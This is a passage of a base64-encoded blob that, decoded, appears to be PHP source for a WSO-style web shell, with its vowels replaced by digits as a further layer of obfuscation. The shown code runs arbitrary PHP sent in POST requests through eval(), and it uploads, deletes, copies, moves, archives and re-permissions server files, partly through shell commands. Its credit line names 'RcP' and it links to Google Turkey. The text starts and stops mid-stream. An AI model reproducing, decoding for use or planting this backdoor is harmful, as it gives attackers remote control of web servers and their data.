Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7IA0KICAgIH0NCiAgICB3czJINTFkNXIoKTsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KICAgICAgICA1Y2gyICc8aDY+UEhQIGI0bGc0czQtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRyPkcyMmdsNSBUUiA6RDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgcGhwNG5mMigpOw0KICAgICAgICAkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIXRkLCB0aCB7KC4qKX0hbXM0VScsJy41LCAudiwgLmgsIC5oIHRoIHskNn0nLCR0bXApOw0KICAgICAgICA1Y2gyIHN0cl9yNXBsMWM1KCc8aDYnLCc8aGEnLCAkdG1wKSAuJzwvZDR2Pjxicj4nOw0KICAgIH0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8aDY+IFBIUC1jMmQ1IFV5ZzNsMSAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRyPkcyMmdsNSBUUiA6RDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KICAgIDVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCiAgICB9DQogICAgNWNoMiAnPC9wcjU+PC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkQyc3kxIEFsMW40IC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHI+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT48L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KICAgICAgICAgICAgYzFzNSAnM3BsMjFkRjRsNSc6DQogICAgICAgICAgICAgICAgNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIkQyc3kxIFVwbDIxZCA1ZDRsbTVkNCEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiWTVuNCBkNHo0biAybDNzdDNyM2wxbTFkNCI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdkNWw1dDUnOg0KICAgICAgICAgICAgICAgIGYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KICAgICAgICAgICAgICAgICAgICAkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KICAgICAgICAgICAgICAgICAgICAkZGggID0gMnA1bmQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkdHlwNSA9PSAiZDRyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkNWw1dDVENHIoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGNsMnM1ZDRyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgIEBybWQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KEAkX1BPU1RbJ2YnXSkpDQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1bDV0NUQ0cigkZik7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJ3Axc3Q1JzoNCiAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKDRzX2Q0cigkYy4kcykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAYzJweSgkYy4kcywgJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnbTJ2NScpIHsNCiAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2Q0cigkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoQDRzX2Y0bDUoJGMuJHMpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikNCiAgICAgICAgICAgICAgICAgICAgICAgIEByNW4xbTUoJF9TRVNTSU9OWydjJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7DQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgew0KICAgICAgICAgICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHo0cC0+MnA1bigkX1BPU1RbJ3BhJ10sIDYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJF9TRVNTSU9OWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGYgPT0gJy4uJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1NFU1NJT05bJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT4xZGRGNGw1KCRfU0VTU0lPTlsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NXIxdDJyID0gbjV3IFI1YzNyczR2NUl0NXIxdDJySXQ1cjF0MnIobjV3IFI1YzNyczR2NUQ0cjVjdDJyeUl0NXIxdDJyKCRmLicvJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJzNuejRwJykgew0KICAgICAgICAgICAgICAgICAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHo0cCA9IG41dyBaNHBBcmNoNHY1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHo0cC0+MnA1bigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAndDFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgd3MyRXgoJ3QxciBjZnp2ICcgLiA1c2MxcDVzaDVsbDFyZygkX1BPU1RbJ3BhJ10pIC4gJyAnIC4gNG1wbDJkNSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDNuczV0KCRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KICAgICRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQogICAgNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7ICAgIDVjaDIgJ0MxblwndCAycDVuIHRoNHMgZjJsZDVyISc7d3MyRjIydDVyKCk7IHI1dDNybjsgfQ0KICAgIGdsMmIxbCAkczJydDsNCiAgICAkczJydCA9IDFycjF5KCduMW01JywgNik7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgnIXNfKFtBLXpdKylfKFxkezZ9KSEnLCAkX1BPU1RbJ3A2J10sICRtMXRjaCkpDQogICAgICAgICAgICAkczJydCA9IDFycjF5KCRtMXRjaFs2XSwgKDRudCkkbTF0Y2hbYV0pOw0KICAgIH0NCjVjaDIgIjxzY3I0cHQ+DQogICAgZjNuY3Q0Mm4gczEoKSB7DQogICAgICAgIGYycig0PTA7NDxkLmY0bDVzLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICA0ZihkLmY0bDVzLjVsNW01bnRzWzRdLnR5cDUgPT0gJ2NoNWNrYjJ4JykNCiAgICAgICAgICAgICAgICBkLmY0bDVzLjVsNW01bnRzWzRdLmNoNWNrNWQgPSBkLmY0bDVzLjVsNW01bnRzWzBdLmNoNWNrNWQ7DQogICAgfQ0KPC9zY3I0cHQ+DQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnPg0KPGYycm0gbjFtNT1mNGw1cyBtNXRoMmQ9cDJzdD48dHI+PHRoIHc0ZHRoPSc2b3B4Jz48NG5wM3QgdHlwNT1jaDVja2IyeCAybmNsNGNrPSdzMSgpJyBjbDFzcz1jaGtieD48L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19uMW01XyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+QWQ0PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5LM3IzYzMvR3IzYjM8L3RoPjx0aD48MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPkl6JiM2MHV1Oz9ubDVyPC8xPjwvdGg+PHRoPlkxcDRsMWI0bDVjNWtsNXI8L3RoPjwvdHI+IjsNCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQogICAgJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQogICAgZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCiAgICAgICAgJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQogICAgICAgICAgICAgICAgICAgICAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgIDRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCiAgICB9DQogICAgJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCiAgICAgICAgNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQogICAgICAgICAgICByNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQogICAgfQ0KICAgIDNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQogICAgJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KICAgICAgICAgICAgLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCiAgICAgICAgJGwgPSAkbD8wOjY7DQogICAgfQ0KICAgIDVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCiAgICA8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5LMnB5MWwxPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+WTVyIEQ1ZzRzdDRyPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5TNEw8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuI